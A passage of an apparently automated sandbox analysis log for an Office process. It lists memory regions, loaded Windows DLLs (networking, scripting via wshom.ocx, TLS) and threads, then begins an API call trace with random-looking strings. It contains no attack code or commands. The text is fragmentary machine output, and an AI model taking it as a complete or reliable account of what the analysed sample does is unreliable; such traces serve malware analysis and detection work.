"private_0x0000000011bf0000" filename = "" Region: id = 1098 start_va = 0x11c00000 end_va = 0x11c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c00000" filename = "" Region: id = 1099 start_va = 0x11c10000 end_va = 0x11c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c10000" filename = "" Region: id = 1100 start_va = 0x11c20000 end_va = 0x11c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c20000" filename = "" Region: id = 1101 start_va = 0x11c30000 end_va = 0x11c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c30000" filename = "" Region: id = 1102 start_va = 0x11c40000 end_va = 0x11c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c40000" filename = "" Region: id = 1103 start_va = 0x11c50000 end_va = 0x11c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c50000" filename = "" Region: id = 1104 start_va = 0x11c60000 end_va = 0x11c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c60000" filename = "" Region: id = 1105 start_va = 0x11c70000 end_va = 0x11c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c70000" filename = "" Region: id = 1106 start_va = 0x7fe70000 end_va = 0x7fe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fe70000" filename = "" Region: id = 1107 start_va = 0x11bf0000 end_va = 0x11bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bf0000" filename = "" Region: id = 1108 start_va = 0x11c00000 end_va = 0x11c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c00000" filename = "" Region: id = 1109 start_va = 0x11c10000 end_va = 0x11c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c10000" filename = "" Region: id = 1110 start_va = 0x11c20000 end_va = 0x11c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c20000" filename = "" Region: id = 1111 start_va = 0x11c30000 end_va = 0x11c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c30000" filename = "" Region: id = 1112 start_va = 0x11c40000 end_va = 0x11c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c40000" filename = "" Region: id = 1113 start_va = 0x11c50000 end_va = 0x11c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c50000" filename = "" Region: id = 1114 start_va = 0x11c60000 end_va = 0x11c6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c60000" filename = "" Region: id = 1115 start_va = 0x11c70000 end_va = 0x11c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c70000" filename = "" Region: id = 1116 start_va = 0x11c80000 end_va = 0x11c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c80000" filename = "" Region: id = 1117 start_va = 0x11c90000 end_va = 0x11c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c90000" filename = "" Region: id = 1118 start_va = 0x11ca0000 end_va = 0x11caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ca0000" filename = "" Region: id = 1119 start_va = 0x11c20000 end_va = 0x11d7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c20000" filename = "" Region: id = 1120 start_va = 0x11d80000 end_va = 0x11edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011d80000" filename = "" Region: id = 1121 start_va = 0x11ee0000 end_va = 0x11eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ee0000" filename = "" Region: id = 1122 start_va = 0x686e0000 end_va = 0x68728fff monitored = 0 entry_point = 0x686e6450 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\SysWOW64\\edputil.dll" (normalized: "c:\\windows\\syswow64\\edputil.dll") Region: id = 1123 start_va = 0x11ee0000 end_va = 0x11ee0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011ee0000" filename = "" Region: id = 1124 start_va = 0x11ef0000 end_va = 0x11efffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011ef0000" filename = "" Region: id = 1125 start_va = 0x11f00000 end_va = 0x11f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f00000" filename = "" Region: id = 1126 start_va = 0x11f10000 end_va = 0x11f11fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f10000" filename = "" Region: id = 1127 start_va = 0x11f20000 end_va = 0x11f20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f20000" filename = "" Region: id = 1128 start_va = 0x11f30000 end_va = 0x11fe2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011f30000" filename = "" Region: id = 1129 start_va = 0x71590000 end_va = 0x7179cfff monitored = 0 entry_point = 0x7167acb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1130 start_va = 0x11ee0000 end_va = 0x11eecfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011ee0000" filename = "" Region: id = 1131 start_va = 0x11ff0000 end_va = 0x11ffcfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011ff0000" filename = "" Region: id = 1132 start_va = 0x12000000 end_va = 0x12000fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 1133 start_va = 0x71540000 end_va = 0x71551fff monitored = 0 entry_point = 0x71544510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 1134 start_va = 0x71510000 end_va = 0x7153efff monitored = 0 entry_point = 0x7151bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1135 start_va = 0x71470000 end_va = 0x7150afff monitored = 0 entry_point = 0x714af7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 1136 start_va = 0x76900000 end_va = 0x76906fff monitored = 0 entry_point = 0x76901e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1137 start_va = 0x70a30000 end_va = 0x70ab3fff monitored = 0 entry_point = 0x70a56530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1138 start_va = 0x71420000 end_va = 0x7146efff monitored = 0 entry_point = 0x7142d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1139 start_va = 0x71410000 end_va = 0x71417fff monitored = 0 entry_point = 0x71411fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1140 start_va = 0x12010000 end_va = 0x1201ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000012010000" filename = "" Region: id = 1141 start_va = 0x12020000 end_va = 0x12022fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui") Region: id = 1142 start_va = 0x11d90000 end_va = 0x11d9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011d90000" filename = "" Region: id = 1143 start_va = 0x11d80000 end_va = 0x11d8cfff monitored = 0 entry_point = 0x11d87b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 1144 start_va = 0x11880000 end_va = 0x1197ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011880000" filename = "" Region: id = 1145 start_va = 0x686a0000 end_va = 0x686dafff monitored = 0 entry_point = 0x686b56aa region_type = mapped_file name = "msproof7.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\msproof7.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\msproof7.dll") Region: id = 1146 start_va = 0x11980000 end_va = 0x11980fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "custom.dic" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\uproof\\custom.dic") Region: id = 1147 start_va = 0x11990000 end_va = 0x1199ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011990000" filename = "" Region: id = 1148 start_va = 0x119a0000 end_va = 0x119a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119a0000" filename = "" Region: id = 1149 start_va = 0x11980000 end_va = 0x11981fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011980000" filename = "" Region: id = 1150 start_va = 0x119b0000 end_va = 0x119b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119b0000" filename = "" Region: id = 1151 start_va = 0x119c0000 end_va = 0x119cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119c0000" filename = "" Region: id = 1152 start_va = 0x119d0000 end_va = 0x119d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119d0000" filename = "" Region: id = 1153 start_va = 0x119c0000 end_va = 0x119cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119c0000" filename = "" Region: id = 1154 start_va = 0x11d80000 end_va = 0x11e75fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 1155 start_va = 0x119c0000 end_va = 0x119c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119c0000" filename = "" Region: id = 1156 start_va = 0x119e0000 end_va = 0x119e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119e0000" filename = "" Region: id = 1157 start_va = 0x11e80000 end_va = 0x11e81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011e80000" filename = "" Region: id = 1158 start_va = 0x11e90000 end_va = 0x11e91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011e90000" filename = "" Region: id = 1159 start_va = 0x12030000 end_va = 0x121d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 1160 start_va = 0x11ea0000 end_va = 0x11ea1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ea0000" filename = "" Region: id = 1161 start_va = 0x11eb0000 end_va = 0x11eb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011eb0000" filename = "" Region: id = 1162 start_va = 0x11ec0000 end_va = 0x11ec1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ec0000" filename = "" Region: id = 1163 start_va = 0x11ed0000 end_va = 0x11ed1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ed0000" filename = "" Region: id = 1164 start_va = 0x11ef0000 end_va = 0x11ef1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ef0000" filename = "" Region: id = 1165 start_va = 0x121e0000 end_va = 0x121e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000121e0000" filename = "" Region: id = 1166 start_va = 0x121f0000 end_va = 0x121f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000121f0000" filename = "" Region: id = 1167 start_va = 0x12200000 end_va = 0x12201fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012200000" filename = "" Region: id = 1168 start_va = 0x12210000 end_va = 0x12303fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 1169 start_va = 0x12310000 end_va = 0x12311fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012310000" filename = "" Region: id = 1170 start_va = 0x12320000 end_va = 0x12321fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012320000" filename = "" Region: id = 1171 start_va = 0x12330000 end_va = 0x12331fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012330000" filename = "" Region: id = 1172 start_va = 0x12340000 end_va = 0x12341fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012340000" filename = "" Region: id = 1173 start_va = 0x12350000 end_va = 0x12351fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012350000" filename = "" Region: id = 1174 start_va = 0x12360000 end_va = 0x12361fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012360000" filename = "" Region: id = 1175 start_va = 0x12370000 end_va = 0x12370fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012370000" filename = "" Region: id = 1176 start_va = 0x11980000 end_va = 0x11980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011980000" filename = "" Region: id = 1177 start_va = 0x11990000 end_va = 0x1199efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011990000" filename = "" Region: id = 1178 start_va = 0x119b0000 end_va = 0x119befff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119b0000" filename = "" Region: id = 1179 start_va = 0x119c0000 end_va = 0x119cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119c0000" filename = "" Region: id = 1180 start_va = 0x68630000 end_va = 0x68693fff monitored = 0 entry_point = 0x686368c8 region_type = mapped_file name = "msgr8en.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\1033\\msgr8en.dll") Region: id = 1181 start_va = 0x11e80000 end_va = 0x11e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011e80000" filename = "" Region: id = 1182 start_va = 0x11ea0000 end_va = 0x11eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ea0000" filename = "" Region: id = 1183 start_va = 0x11990000 end_va = 0x1199ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011990000" filename = "" Region: id = 1184 start_va = 0x11990000 end_va = 0x11990fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011990000" filename = "" Region: id = 1185 start_va = 0x68610000 end_va = 0x68622fff monitored = 0 entry_point = 0x686125d0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1186 start_va = 0x685f0000 end_va = 0x68603fff monitored = 0 entry_point = 0x685f3c10 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1187 start_va = 0x68580000 end_va = 0x685e7fff monitored = 0 entry_point = 0x685a70a0 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 1188 start_va = 0x67c30000 end_va = 0x6857afff monitored = 0 entry_point = 0x67caec48 region_type = mapped_file name = "igx.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\IGX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\igx.dll") Region: id = 1189 start_va = 0x11e80000 end_va = 0x11e81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000011e80000" filename = "" Region: id = 1190 start_va = 0x700e0000 end_va = 0x700e7fff monitored = 0 entry_point = 0x700e1920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1191 start_va = 0x700f0000 end_va = 0x70136fff monitored = 0 entry_point = 0x701058d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1192 start_va = 0x70070000 end_va = 0x700d3fff monitored = 0 entry_point = 0x7008afd0 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 1193 start_va = 0x11ea0000 end_va = 0x11ea2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ea0000" filename = "" Region: id = 1194 start_va = 0x70060000 end_va = 0x7006ffff monitored = 0 entry_point = 0x70064600 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\SysWOW64\\mskeyprotect.dll" (normalized: "c:\\windows\\syswow64\\mskeyprotect.dll") Region: id = 1195 start_va = 0x12380000 end_va = 0x123bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012380000" filename = "" Region: id = 1196 start_va = 0x123c0000 end_va = 0x124bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000123c0000" filename = "" Region: id = 1197 start_va = 0x70040000 end_va = 0x7005ffff monitored = 0 entry_point = 0x7004d120 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 1198 start_va = 0x6f7f0000 end_va = 0x6f81bfff monitored = 0 entry_point = 0x6f80bb10 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\SysWOW64\\ntasn1.dll" (normalized: "c:\\windows\\syswow64\\ntasn1.dll") Region: id = 1199 start_va = 0x11ec0000 end_va = 0x11ec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ec0000" filename = "" Region: id = 1200 start_va = 0x124c0000 end_va = 0x124fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000124c0000" filename = "" Region: id = 1201 start_va = 0x12500000 end_va = 0x125fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000012500000" filename = "" Region: id = 1202 start_va = 0x6f7d0000 end_va = 0x6f7e9fff monitored = 0 entry_point = 0x6f7dfa70 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\SysWOW64\\ncryptsslp.dll" (normalized: "c:\\windows\\syswow64\\ncryptsslp.dll") Region: id = 1203 start_va = 0x11ea0000 end_va = 0x11ea9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 1204 start_va = 0x11ec0000 end_va = 0x11ec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ec0000" filename = "" Region: id = 1205 start_va = 0x11ef0000 end_va = 0x11ef0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ef0000" filename = "" Region: id = 1206 start_va = 0x67ba0000 end_va = 0x67c2ffff monitored = 0 entry_point = 0x67ba7345 region_type = mapped_file name = "msspell7.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\msspell7.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\msspell7.dll") Region: id = 1207 start_va = 0x67a90000 end_va = 0x67b99fff monitored = 0 entry_point = 0x67af1e10 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\SysWOW64\\webservices.dll" (normalized: "c:\\windows\\syswow64\\webservices.dll") Region: id = 1208 start_va = 0x9a40000 end_va = 0x9bc7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\mssp7en.lex") Region: id = 1209 start_va = 0x67a20000 end_va = 0x67a87fff monitored = 0 entry_point = 0x67a2c3f5 region_type = mapped_file name = "mscss7en.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\mscss7en.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\mscss7en.dll") Region: id = 1210 start_va = 0x9bd0000 end_va = 0x9bd0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "excludedictionaryen0409.lex" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\uproof\\excludedictionaryen0409.lex") Region: id = 1211 start_va = 0x67990000 end_va = 0x67a12fff monitored = 0 entry_point = 0x6799fbe4 region_type = mapped_file name = "css7data0009.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\CSS7DATA0009.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\css7data0009.dll") Region: id = 1212 start_va = 0x70250000 end_va = 0x70257fff monitored = 0 entry_point = 0x70251d70 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 1213 start_va = 0x9bd0000 end_va = 0x9d57fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\mssp7en.lex") Region: id = 1214 start_va = 0x12600000 end_va = 0x12b5bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nl7models0009.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\NL7MODELS0009.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\nl7models0009.dll") Region: id = 1215 start_va = 0x9d60000 end_va = 0x9d62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mscss7cm_en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\mscss7cm_en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\mscss7cm_en.dub") Region: id = 1216 start_va = 0x9d70000 end_va = 0x9d8afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mscss7wre_en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\mscss7wre_en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\mscss7wre_en.dub") Region: id = 1217 start_va = 0x12b60000 end_va = 0x13361fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgr8en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\MSGR8EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\msgr8en.lex") Region: id = 1218 start_va = 0x9d90000 end_va = 0x9d90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgr8en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\PROOF\\msgr8en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\proof\\msgr8en.dub") Region: id = 1219 start_va = 0x9da0000 end_va = 0x9e4bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009da0000" filename = "" Region: id = 1220 start_va = 0x9e50000 end_va = 0x9ef6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009e50000" filename = "" Region: id = 1221 start_va = 0x9f00000 end_va = 0x9f02fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f00000" filename = "" Region: id = 1222 start_va = 0x9f10000 end_va = 0x9f10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f10000" filename = "" Region: id = 1360 start_va = 0x9f00000 end_va = 0x9f02fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f00000" filename = "" Region: id = 1361 start_va = 0x9f10000 end_va = 0x9f10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f10000" filename = "" Thread: id = 1 os_tid = 0x1154 Thread: id = 2 os_tid = 0x1134 Thread: id = 3 os_tid = 0x1138 Thread: id = 4 os_tid = 0x1130 Thread: id = 5 os_tid = 0x1128 Thread: id = 6 os_tid = 0x1120 Thread: id = 7 os_tid = 0x111c Thread: id = 8 os_tid = 0x1118 Thread: id = 9 os_tid = 0x1114 Thread: id = 10 os_tid = 0x1110 Thread: id = 11 os_tid = 0x110c Thread: id = 12 os_tid = 0x1108 Thread: id = 13 os_tid = 0x1104 Thread: id = 14 os_tid = 0x10fc Thread: id = 15 os_tid = 0x10ec [0099.262] DispCallFunc (pvInstance=0xb396254, oVft=0x1c, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x198170) returned 0x0 [0099.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x693e11d3, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x198080 | out: lpThreadId=0x198080*=0x1234) returned 0xb80 [0099.264] PeekMessageA (in: lpMsg=0x198060, hWnd=0xa01e0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x198060) returned 0 [0099.265] GetActiveWindow () returned 0x10368 [0099.265] CRetailMalloc_Alloc () returned 0xcb476c0 [0099.266] CRetailMalloc_Realloc () returned 0xc8e6348 [0099.269] CRetailMalloc_Alloc () returned 0xc9819a8 [0099.269] CRetailMalloc_Realloc () returned 0xcbb51c8 [0099.269] memcpy (in: _Dst=0x197a00, _Src=0x197a28, _Size=0x4 | out: _Dst=0x197a00) returned 0x197a00 [0099.269] realloc (_Block=0x0, _Size=0x100) returned 0xcf94f48 [0099.269] memcpy (in: _Dst=0xcf94f48, _Src=0x197a00, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.269] memcpy (in: _Dst=0x197a10, _Src=0x197a44, _Size=0xc | out: _Dst=0x197a10) returned 0x197a10 [0099.269] realloc (_Block=0x0, _Size=0x60) returned 0xcf95050 [0099.269] memcpy (in: _Dst=0xcf95050, _Src=0x197a10, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.269] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e8d0c, cbMultiByte=8, lpWideCharStr=0x11440418, cchWideChar=18 | out: lpWideCharStr="LifoJT1h") returned 8 [0099.269] CRetailMalloc_Realloc () returned 0xf5d15c0 [0099.269] memcpy (in: _Dst=0xf5d3de8, _Src=0x11440414, _Size=0x16 | out: _Dst=0xf5d3de8) returned 0xf5d3de8 [0099.269] memcpy (in: _Dst=0xcf94f48, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.270] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.270] memcpy (in: _Dst=0xcf94f48, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.270] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0972, cbMultiByte=7, lpWideCharStr=0x197658, cchWideChar=6 | out: lpWideCharStr="Value") returned 0 [0099.270] CRetailMalloc_Realloc () returned 0xc926d98 [0099.270] wcscpy_s (in: _Destination=0xf5d3e04, _SizeInWords=0x6, _Source="Value" | out: _Destination="Value") returned 0x0 [0099.271] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.271] CRetailMalloc_Realloc () returned 0xc8a7050 [0099.271] memcpy (in: _Dst=0xcf94f48, _Src=0x197894, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.271] memcpy (in: _Dst=0xcf94f48, _Src=0x197a28, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.291] memcpy (in: _Dst=0x197904, _Src=0x197978, _Size=0x8 | out: _Dst=0x197904) returned 0x197904 [0099.291] memcpy (in: _Dst=0xcb4e398, _Src=0x197904, _Size=0x8 | out: _Dst=0xcb4e398) returned 0xcb4e398 [0099.291] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e8d3c, cbMultiByte=11, lpWideCharStr=0x11441616, cchWideChar=24 | out: lpWideCharStr="GCTApkFFHZi") returned 11 [0099.291] memcpy (in: _Dst=0xf5d3e14, _Src=0x11441612, _Size=0x1c | out: 